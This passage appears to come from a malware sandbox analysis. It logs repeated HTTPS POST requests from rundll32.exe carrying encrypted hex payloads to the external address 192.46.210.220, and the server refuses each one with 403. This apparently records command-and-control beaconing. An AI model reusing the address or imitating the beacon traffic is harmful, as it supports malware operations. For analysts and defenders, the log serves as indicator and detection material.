2021-10-28 02:55:17 UTC	311	OUT	Data Raw: f5 29 ae 6a 10 0c 24 ac 57 b0 5a a3 4f 6c 4b 9c b5 a2 23 ad fb af a2 44 06 10 db 9a de 51 92 4c a3 a7 e8 31 68 04 8c b2 cd aa a3 bd d3 4b 9f 8d fe e6 28 6f 90 0d 1c 4e 0f 2a 8d 08 2b 41 2a f6 6d fd 95 04 15 f1 63 91 09 eb 8c 30 6b 05 56 d3 bb ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: )j$WZOlK#DQL1hK(oN+Amc0kVSg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:55:18 UTC	316	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:55:18 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
64	192.168.2.3	50068	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:55:20 UTC	316	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4814 Connection: Close Cache-Control: no-cache
2021-10-28 02:55:20 UTC	316	OUT	Data Raw: 6b 46 df dd 10 0c 24 ac 57 b0 5a a3 4f 6c 4b 9c b5 a2 23 ad fb af a2 44 06 10 db 9a de 51 92 4c a3 a7 e8 31 68 04 8c b2 cd aa a3 bd d3 4b 9f 8d fe e6 28 6f 90 0d 1c 4e 0f 2a 8d 08 2b 41 2a f6 6d fd 95 04 15 f1 63 91 09 eb 8c 30 6b 05 37 cd bb 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: kF$WZOlK#DQL1hK(oN+Amc0k7Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:55:21 UTC	325	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:55:21 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
65	192.168.2.3	50070	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:55:21 UTC	321	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4802 Connection: Close Cache-Control: no-cache
2021-10-28 02:55:21 UTC	321	OUT	Data Raw: f5 29 ae 6a 10 0c 24 ac 57 b0 5a a3 4f 6c 4b 9c b5 a2 23 ad fb af a2 44 06 10 db 9a de 51 92 4c a3 a7 e8 31 68 04 8c b2 cd aa a3 bd d3 4b 9f 8d fe e6 28 6f 90 0d 1c 4e 0f 2a 8d 08 2b 41 2a f6 6d fd 95 04 15 f1 63 91 09 eb 8c 30 6b 05 56 d3 bb ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: )j$WZOlK#DQL1hK(oN+Amc0kVSg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:55:22 UTC	326	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:55:22 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
66	192.168.2.3	50076	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:55:24 UTC	326	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4814 Connection: Close Cache-Control: no-cache
2021-10-28 02:55:24 UTC	326	OUT	Data Raw: 6b 46 df dd 10 0c 24 ac 57 b0 5a a3 4f 6c 4b 9c b5 a2 23 ad fb af a2 44 06 10 db 9a de 51 92 4c a3 a7 e8 31 68 04 8c b2 cd aa a3 bd d3 4b 9f 8d fe e6 28 6f 90 0d 1c 4e 0f 2a 8d 08 2b 41 2a f6 6d fd 95 04 15 f1 63 91 09 eb 8c 30 6b 05 37 cd bb 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: kF$WZOlK#DQL1hK(oN+Amc0k7Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:55:25 UTC	335	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:55:25 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
67	192.168.2.3	50078	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:55:25 UTC	331	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4802 Connection: Close Cache-Control: no-cache
2021-10-28 02:55:25 UTC	331	OUT	Data Raw: f5 29 ae 6a 10 0c 24 ac 57 b0 5a a3 4f 6c 4b 9c b5 a2 23 ad fb af a2 44 06 10 db 9a de 51 92 4c a3 a7 e8 31 68 04 8c b2 cd aa a3 bd d3 4b 9f 8d fe e6 28 6f 90 0d 1c 4e 0f 2a 8d 08 2b 41 2a f6 6d fd 95 04 15 f1 63 91 09 eb 8c 30 6b 05 56 d3 bb ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: )j$WZOlK#DQL1hK(oN+Amc0kVSg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:55:25 UTC	335	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:55:25 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
68	192.168.2.3	50084	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:55:28 UTC	336	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4814 Connection: Close Cache-Control: no-cache
2021-10-28 02:55:28 UTC	336	OUT	Data Raw: 6b 46 df dd 10 0c 24 ac 57 b0 5a a3 4f 6c 4b 9c b5 a2 23 ad fb af a2 44 06 10 db 9a de 51 92 4c a3 a7 e8 31 68 04 8c b2 cd aa a3 bd d3 4b 9f 8d fe e6 28 6f 90 0d 1c 4e 0f 2a 8d 08 2b 41 2a f6 6d fd 95 04 15 f1 63 91 09 eb 8c 30 6b 05 37 cd bb 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: kF$WZOlK#DQL1hK(oN+Amc0k7Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:55:29 UTC	345	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:55:29 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
69	192.168.2.3	50086	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:55:29 UTC	340	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4802 Connection: Close Cache-Control: no-cache
2021-10-28 02:55:29 UTC	340	OUT	Data Raw: f5 29 ae 6a 10 0c 24 ac 57 b0 5a a3 4f 6c 4b 9c b5 a2 23 ad fb af a2 44 06 10 db 9a de 51 92 4c a3 a7 e8 31 68 04 8c b2 cd aa a3 bd d3 4b 9f 8d fe e6 28 6f 90 0d 1c 4e 0f 2a 8d 08 2b 41 2a f6 6d fd 95 04 15 f1 63 91 09 eb 8c 30 6b 05 56 d3 bb ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: )j$WZOlK#DQL1hK(oN+Amc0kVSg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:55:29 UTC	345	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:55:29 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
7	192.168.2.3	49767	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:53:25 UTC	34	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4802 Connection: Close Cache-Control: no-cache
2021-10-28 02:53:25 UTC	34	OUT	Data Raw: f5 29 ae 6a 10 0c 24 ac 57 b0 5a a3 4f 6c 4b 9c b5 a2 23 ad fb af a2 44 06 10 db 9a de 51 92 4c a3 a7 e8 31 68 04 8c b2 cd aa a3 bd d3 4b 9f 8d fe e6 28 6f 90 0d 1c 4e 0f 2a 8d 08 2b 41 2a f6 6d fd 95 04 15 f1 63 91 09 eb 8c 30 6b 05 56 d3 bb ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: )j$WZOlK#DQL1hK(oN+Amc0kVSg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:53:26 UTC	39	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:53:26 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
70	192.168.2.3	50092	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:55:32 UTC	345	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4814 Connection: Close Cache-Control: no-cache
2021-10-28 02:55:32 UTC	346	OUT	Data Raw: 6b 46 df dd 10 0c 24 ac 57 b0 5a a3 4f 6c 4b 9c b5 a2 23 ad fb af a2 44 06 10 db 9a de 51 92 4c a3 a7 e8 31 68 04 8c b2 cd aa a3 bd d3 4b 9f 8d fe e6 28 6f 90 0d 1c 4e 0f 2a 8d 08 2b 41 2a f6 6d fd 95 04 15 f1 63 91 09 eb 8c 30 6b 05 37 cd bb 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: kF$WZOlK#DQL1hK(oN+Amc0k7Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:55:33 UTC	355	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:55:33 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
71	192.168.2.3	50094	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:55:33 UTC	350	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4802 Connection: Close Cache-Control: no-cache
2021-10-28 02:55:33 UTC	350	OUT	Data Raw: f5 29 ae 6a 10 0c 24 ac 57 b0 5a a3 4f 6c 4b 9c b5 a2 23 ad fb af a2 44 06 10 db 9a de 51 92 4c a3 a7 e8 31 68 04 8c b2 cd aa a3 bd d3 4b 9f 8d fe e6 28 6f 90 0d 1c 4e 0f 2a 8d 08 2b 41 2a f6 6d fd 95 04 15 f1 63 91 09 eb 8c 30 6b 05 56 d3 bb ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: )j$WZOlK#DQL1hK(oN+Amc0kVSg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:55:33 UTC	355	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:55:33 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
72	192.168.2.3	50100	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:55:36 UTC	355	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4814 Connection: Close Cache-Control: no-cache
2021-10-28 02:55:36 UTC	355	OUT	Data Raw: 6b 46 df dd 10 0c 24 ac 57 b0 5a a3 4f 6c 4b 9c b5 a2 23 ad fb af a2 44 06 10 db 9a de 51 92 4c a3 a7 e8 31 68 04 8c b2 cd aa a3 bd d3 4b 9f 8d fe e6 28 6f 90 0d 1c 4e 0f 2a 8d 08 2b 41 2a f6 6d fd 95 04 15 f1 63 91 09 eb 8c 30 6b 05 37 cd bb 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: kF$WZOlK#DQL1hK(oN+Amc0k7Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:55:36 UTC	365	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:55:36 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
73	192.168.2.3	50102	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:55:36 UTC	360	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4802 Connection: Close Cache-Control: no-cache
2021-10-28 02:55:36 UTC	360	OUT	Data Raw: f5 29 ae 6a 10 0c 24 ac 57 b0 5a a3 4f 6c 4b 9c b5 a2 23 ad fb af a2 44 06 10 db 9a de 51 92 4c a3 a7 e8 31 68 04 8c b2 cd aa a3 bd d3 4b 9f 8d fe e6 28 6f 90 0d 1c 4e 0f 2a 8d 08 2b 41 2a f6 6d fd 95 04 15 f1 63 91 09 eb 8c 30 6b 05 56 d3 bb ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: )j$WZOlK#DQL1hK(oN+Amc0kVSg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:55:37 UTC	365	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:55:37 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
74	192.168.2.3	50108	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:55:42 UTC	365	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4814 Connection: Close Cache-Control: no-cache
2021-10-28 02:55:42 UTC	365	OUT	Data Raw: 6b 46 df dd 10 0c 24 ac 57 b0 5a a3 4f 6c 4b 9c b5 a2 23 ad fb af a2 44 06 10 db 9a de 51 92 4c a3 a7 e8 31 68 04 8c b2 cd aa a3 bd d3 4b 9f 8d fe e6 28 6f 90 0d 1c 4e 0f 2a 8d 08 2b 41 2a f6 6d fd 95 04 15 f1 63 91 09 eb 8c 30 6b 05 37 cd bb 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: kF$WZOlK#DQL1hK(oN+Amc0k7Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:55:42 UTC	375	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:55:42 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
75	192.168.2.3	50110	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:55:42 UTC	370	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4802 Connection: Close Cache-Control: no-cache
2021-10-28 02:55:42 UTC	370	OUT	Data Raw: f5 29 ae 6a 10 0c 24 ac 57 b0 5a a3 4f 6c 4b 9c b5 a2 23 ad fb af a2 44 06 10 db 9a de 51 92 4c a3 a7 e8 31 68 04 8c b2 cd aa a3 bd d3 4b 9f 8d fe e6 28 6f 90 0d 1c 4e 0f 2a 8d 08 2b 41 2a f6 6d fd 95 04 15 f1 63 91 09 eb 8c 30 6b 05 56 d3 bb ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: )j$WZOlK#DQL1hK(oN+Amc0kVSg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:55:43 UTC	375	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:55:43 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
76	192.168.2.3	50117	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:55:45 UTC	375	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4814 Connection: Close Cache-Control: no-cache
2021-10-28 02:55:45 UTC	375	OUT	Data Raw: 6b 46 df dd 10 0c 24 ac 57 b0 5a a3 4f 6c 4b 9c b5 a2 23 ad fb af a2 44 06 10 db 9a de 51 92 4c a3 a7 e8 31 68 04 8c b2 cd aa a3 bd d3 4b 9f 8d fe e6 28 6f 90 0d 1c 4e 0f 2a 8d 08 2b 41 2a f6 6d fd 95 04 15 f1 63 91 09 eb 8c 30 6b 05 37 cd bb 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 